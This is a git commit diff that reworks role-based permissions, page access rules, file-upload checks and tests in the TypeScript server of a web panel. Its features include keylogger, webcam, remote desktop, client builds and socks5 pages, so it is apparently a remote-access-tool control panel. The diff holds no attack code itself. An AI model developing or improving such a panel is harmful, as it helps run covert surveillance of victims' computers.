major RBAC imrpovements + fix thumbnails

This commit is contained in:
KingKDot
2026-07-21 13:18:30 -05:00
parent 9b885ad2ef
commit d602de396e
23 changed files with 599 additions and 213 deletions
@@ -8,6 +8,7 @@ import {
getUserById,
setUserExtraPermissions,
setUserGroups,
setUserCanUploadFiles,
} from "../../users";
import { handleAuthRoutes } from "./auth-routes";
@@ -76,6 +77,7 @@ describe("/api/auth/me permissions array", () => {
expect(set.has("clients:control")).toBe(true);
expect(set.has("system:configure")).toBe(true);
expect(set.has("clients:disconnect")).toBe(true);
expect(set.has("files:upload")).toBe(true);
});
test("operator gets the role-eligible subset and lacks admin-only perms", async () => {
@@ -83,11 +85,13 @@ describe("/api/auth/me permissions array", () => {
const body = await fetchMe(op.token);
const set = new Set(body.permissions);
expect(set.has("clients:control")).toBe(true);
expect(body.canBuild).toBe(true);
expect(set.has("clients:disconnect")).toBe(true);
expect(set.has("clients:metadata")).toBe(true);
expect(set.has("users:manage")).toBe(false);
expect(set.has("system:configure")).toBe(false);
expect(set.has("network:manage-bans")).toBe(false);
expect(set.has("files:upload")).toBe(false);
});
test("viewer has no permissions by default", async () => {
@@ -132,5 +136,23 @@ describe("/api/auth/me permissions array", () => {
setUserCanBuild(op.user.id, false);
const body = await fetchMe(op.token);
expect(new Set(body.permissions).has("clients:build")).toBe(false);
expect(body.canBuild).toBe(false);
});
test("operator with upload enabled gets files:upload and canUploadFiles via /api/auth/me", async () => {
const op = await tempUser("operator");
setUserCanUploadFiles(op.user.id, true);
const body = await fetchMe(op.token);
expect(new Set(body.permissions).has("files:upload")).toBe(true);
expect(body.canUploadFiles).toBe(true);
});
test("viewer in a build group gets canBuild from effective permissions", async () => {
const viewer = await tempUser("viewer");
const group = tempGroup("me_build", ["clients:build"]);
setUserGroups(viewer.user.id, [group.id]);
const body = await fetchMe(viewer.token);
expect(new Set(body.permissions).has("clients:build")).toBe(true);
expect(body.canBuild).toBe(true);
});
});
@@ -471,17 +471,33 @@ export async function handleAuthRoutes(
}
const reasons: string[] = [];
const denialDetails: Array<{
type: "feature" | "client";
message: string;
feature?: FeatureName;
clientId?: string;
}> = [];
if (!canUserAccessFeature(user.userId, user.role, feature)) {
reasons.push("feature");
denialDetails.push({
type: "feature",
feature,
message: `Feature access denied for ${feature}`,
});
}
if (clientId && !canUserAccessClient(user.userId, user.role, clientId)) {
reasons.push("client");
denialDetails.push({
type: "client",
clientId,
message: `Client access denied for ${clientId}`,
});
}
if (reasons.length > 0) {
return Response.json({ allowed: false, denied: reasons });
return Response.json({ allowed: false, denied: reasons, denialDetails });
}
return Response.json({ allowed: true });
@@ -507,7 +523,8 @@ export async function handleAuthRoutes(
userId: user.userId,
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
needsOnboarding: dbUser ? dbUser.onboarding_completed_at === null : false,
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
canBuild: permissions.includes("clients:build"),
canUploadFiles: permissions.includes("files:upload"),
telegramChatId: dbUser?.telegram_chat_id || "",
inputArchiveEnabled: dbUser ? Boolean((dbUser as any).keylog_archive_enabled) : false,
featurePermissions,
@@ -16,12 +16,12 @@ import {
} from "../../db";
import { encodeMessage } from "../../protocol";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { checkPermission, requirePermission } from "../../rbac";
import { logger } from "../../logger";
import { normalizeClientOs } from "../deploy-utils";
import { canUserBuild, recordBuildStart, recordBuildEnd } from "../../build-rate-limit";
import { getConfig } from "../../config";
import { canUploadFiles, canUserAccessPlugin } from "../../users";
import { canUserAccessPlugin } from "../../users";
import { addBuildToBanlist, removeBuildFromBanlist } from "../build-signing";
import path from "path";
import fs from "fs";
@@ -501,7 +501,7 @@ export async function handleBuildRoutes(
}
const safeUploadToFileShare = !!uploadToFileShare;
if (safeUploadToFileShare && !canUploadFiles(user.userId, user.role)) {
if (safeUploadToFileShare && !checkPermission(user, "files:upload")) {
return Response.json(
{ error: "You do not have permission to upload files" },
{ status: 403 },
@@ -12,7 +12,8 @@ import {
updateSharedFile,
incrementSharedFileDownloadCount,
} from "../../db";
import { getUserById, canUploadFiles } from "../../users";
import { getUserById } from "../../users";
import { checkPermission, requirePermission } from "../../rbac";
import { resolveContainedPath, sanitizeUploadFilename } from "../upload-security";
type FileShareRouteDeps = {
@@ -155,7 +156,7 @@ export async function handleFileShareRoutes(
if (req.method === "GET" && url.pathname === "/api/file-share") {
const files = listSharedFiles();
const userCanUpload = canUploadFiles(user.userId, user.role);
const userCanUpload = checkPermission(user, "files:upload");
return Response.json({
files: files.map((f) => ({
id: f.id,
@@ -176,8 +177,11 @@ export async function handleFileShareRoutes(
}
if (req.method === "POST" && url.pathname === "/api/file-share/upload") {
if (!canUploadFiles(user.userId, user.role)) {
return Response.json({ error: "You do not have upload permission" }, { status: 403 });
try {
requirePermission(user, "files:upload");
} catch (error) {
if (error instanceof Response) return Response.json({ error: "You do not have upload permission" }, { status: 403 });
return Response.json({ error: "Forbidden" }, { status: 403 });
}
let form: FormData;
@@ -2,7 +2,7 @@ import { authenticateRequest } from "../../auth";
import { getConfig } from "../../config";
import { consumeLoginPageRateLimit } from "../../rateLimit";
import { requirePermission, type Permission } from "../../rbac";
import { canUserAccessClient, getUserById, type UserRole } from "../../users";
import { canUserAccessClient, canUserAccessFeature, getUserById, type FeatureName, type UserRole } from "../../users";
type PageRouteDeps = {
PUBLIC_ROOT: string;
@@ -72,11 +72,15 @@ type ClientPageDef = {
pattern: RegExp;
file: string;
clientIdGroup: number;
feature?: FeatureName;
permission?: Permission;
};
type QueryClientPageDef = {
path: string;
file: string;
feature?: FeatureName;
permission?: Permission;
};
/** Static pages: each entry maps a URL path to its HTML file + access rules. */
@@ -87,33 +91,33 @@ const STATIC_PAGES: StaticPageDef[] = [
{ path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true },
{ path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" },
{ path: "/notifications", file: "notifications.html", access: "admin-or-operator", checkPasswordChange: true },
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
{ path: "/build", file: "build.html", access: "admin-or-operator" },
{ path: "/sol-publish", file: "sol-publish.html", access: "admin" },
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
{ path: "/deploy", file: "deploy.html", access: "admin" },
{ path: "/users", file: "users.html", access: "any", checkPasswordChange: true, permission: "users:manage" },
{ path: "/user-client-access", file: "user-client-access.html", access: "any", checkPasswordChange: true, permission: "users:manage" },
{ path: "/build", file: "build.html", access: "any", permission: "clients:build" },
{ path: "/sol-publish", file: "sol-publish.html", access: "any", permission: "system:configure" },
{ path: "/plugins", file: "plugins.html", access: "any", permission: "plugins:manage" },
{ path: "/scripts", file: "scripts.html", access: "any", permission: "scripts:manage" },
{ path: "/deploy", file: "deploy.html", access: "any", permission: "deploys:manage" },
{ path: "/socks5-manager", file: "socks5-manager.html", access: "no-viewer", checkPasswordChange: true },
{ path: "/file-share", file: "file-share.html", access: "no-viewer", checkPasswordChange: true },
{ path: "/purgatory", file: "purgatory.html", access: "admin-or-operator", checkPasswordChange: true },
{ path: "/purgatory", file: "purgatory.html", access: "any", checkPasswordChange: true, permission: "clients:enroll" },
];
/** Client-scoped pages accessed via query param ?clientId=... */
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
{ path: "/remotedesktop", file: "remotedesktop.html" },
{ path: "/webcam", file: "webcam.html" },
{ path: "/backstage", file: "backstage.html" },
{ path: "/voice", file: "voice.html" },
{ path: "/winre", file: "winre.html" },
{ path: "/remotedesktop", file: "remotedesktop.html", feature: "remote_desktop" },
{ path: "/webcam", file: "webcam.html", feature: "webcam" },
{ path: "/backstage", file: "backstage.html", feature: "backstage" },
{ path: "/voice", file: "voice.html", feature: "voice" },
{ path: "/winre", file: "winre.html", permission: "clients:winre" },
];
/** Client-scoped pages accessed via path /:clientId/feature */
const PATH_CLIENT_PAGES: ClientPageDef[] = [
{ pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1, feature: "console" },
{ pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1, feature: "file_browser" },
{ pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1, feature: "processes" },
{ pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1, feature: "keylogger" },
];
function checkAccess(role: UserRole, access: AccessLevel): Response | null {
@@ -224,8 +228,17 @@ export async function handlePageRoutes(
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
if (page.permission) {
try {
requirePermission(user, page.permission);
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
}
if (page.feature && !canUserAccessFeature(user.userId, user.role, page.feature)) {
return new Response(`Forbidden: feature access denied for ${page.feature}`, { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
@@ -244,8 +257,17 @@ export async function handlePageRoutes(
const user = await authenticateRequest(req);
if (!user) return serveLoginOrUnauthorized(req, deps);
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
if (page.permission) {
try {
requirePermission(user, page.permission);
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
}
if (page.feature && !canUserAccessFeature(user.userId, user.role, page.feature)) {
return new Response(`Forbidden: feature access denied for ${page.feature}`, { status: 403 });
}
const clientId = match[page.clientIdGroup];
@@ -1,7 +1,7 @@
import { generateToken, authenticateRequest, getSessionTtlSeconds } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import { requirePermission } from "../../rbac";
import { getUserEffectivePermissionDetails, requirePermission } from "../../rbac";
import {
listUserSessions,
persistRevokedTokenHash,
@@ -58,6 +58,29 @@ export async function handleUsersRoutes(
return Response.json({ users });
}
if (req.method === "GET" && url.pathname.match(/^\/api\/users\/\d+\/effective-permissions$/)) {
requirePermission(user, "users:manage");
const userId = parseInt(url.pathname.split("/")[3]);
const targetUser = getUserById(userId);
if (!targetUser) {
return Response.json({ error: "User not found" }, { status: 404 });
}
return Response.json({
success: true,
permissions: getUserEffectivePermissionDetails(targetUser.id, targetUser.role),
clientAccess: {
scope: getUserClientAccessScope(targetUser.id),
rules: listUserClientAccessRules(targetUser.id),
},
pluginAccess: {
scope: getUserPluginAccessScope(targetUser.id),
rules: listUserPluginAccessRules(targetUser.id),
},
featurePermissions: getUserFeaturePermissions(targetUser.id),
});
}
if (req.method === "POST" && url.pathname === "/api/users") {
const authedUser = requirePermission(user, "users:manage");
const body = await req.json();